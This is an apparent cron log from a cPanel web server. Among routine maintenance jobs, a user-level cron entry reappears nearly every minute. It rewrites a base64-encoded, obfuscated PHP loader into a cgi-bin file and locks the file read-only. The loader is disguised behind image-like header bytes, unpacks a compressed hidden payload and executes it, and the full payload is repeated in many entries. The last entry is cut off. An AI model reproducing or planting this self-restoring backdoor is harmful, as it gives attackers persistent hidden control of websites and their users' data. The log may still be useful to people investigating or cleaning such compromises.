Sep 12 03:55:01 server CROND[14815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:55:01 server CROND[14817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:55:01 server CROND[14818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:55:01 server CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:56:01 server CROND[15734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:56:01 server CROND[15735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:56:01 server CROND[15736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:57:01 server CROND[16105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:57:01 server CROND[16106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 03:57:01 server CROND[16108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:57:01 server CROND[16107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:58:01 server CROND[16473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:58:01 server CROND[16472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:58:01 server CROND[16475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:59:01 server CROND[16853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:59:01 server CROND[16854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:59:01 server CROND[16855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:00:01 server CROND[17239]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 04:00:01 server CROND[17240]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:00:01 server CROND[17243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:00:01 server CROND[17245]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 04:00:01 server CROND[17249]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:00:01 server CROND[17248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:00:01 server CROND[17250]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:00:01 server CROND[17251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:00:01 server CROND[17247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:00:01 server CROND[17252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:01:01 server CROND[18208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:01:01 server CROND[18209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:01:01 server CROND[18210]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 04:01:01 server CROND[18211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:01:01 server run-parts(/etc/cron.hourly)[18210]: starting 0anacron
Sep 12 04:01:01 server anacron[18228]: Anacron started on 2026-09-12
Sep 12 04:01:01 server anacron[18228]: Job `cron.daily' locked by another anacron - skipping
Sep 12 04:01:01 server anacron[18228]: Normal exit (0 jobs run)
Sep 12 04:01:01 server run-parts(/etc/cron.hourly)[18230]: finished 0anacron
Sep 12 04:02:01 server CROND[18592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:02:01 server CROND[18593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:02:01 server CROND[18594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:03:01 server CROND[18965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:03:01 server CROND[18966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:03:01 server CROND[18967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:04:01 server CROND[19337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:04:01 server CROND[19339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:04:01 server CROND[19340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:05:01 server CROND[19779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:05:01 server CROND[19781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:05:01 server CROND[19783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:05:01 server CROND[19787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:05:01 server CROND[19788]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:05:01 server CROND[19786]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:05:01 server CROND[19785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:05:01 server CROND[19784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:06:01 server CROND[20839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:06:01 server CROND[20841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:06:01 server CROND[20842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVC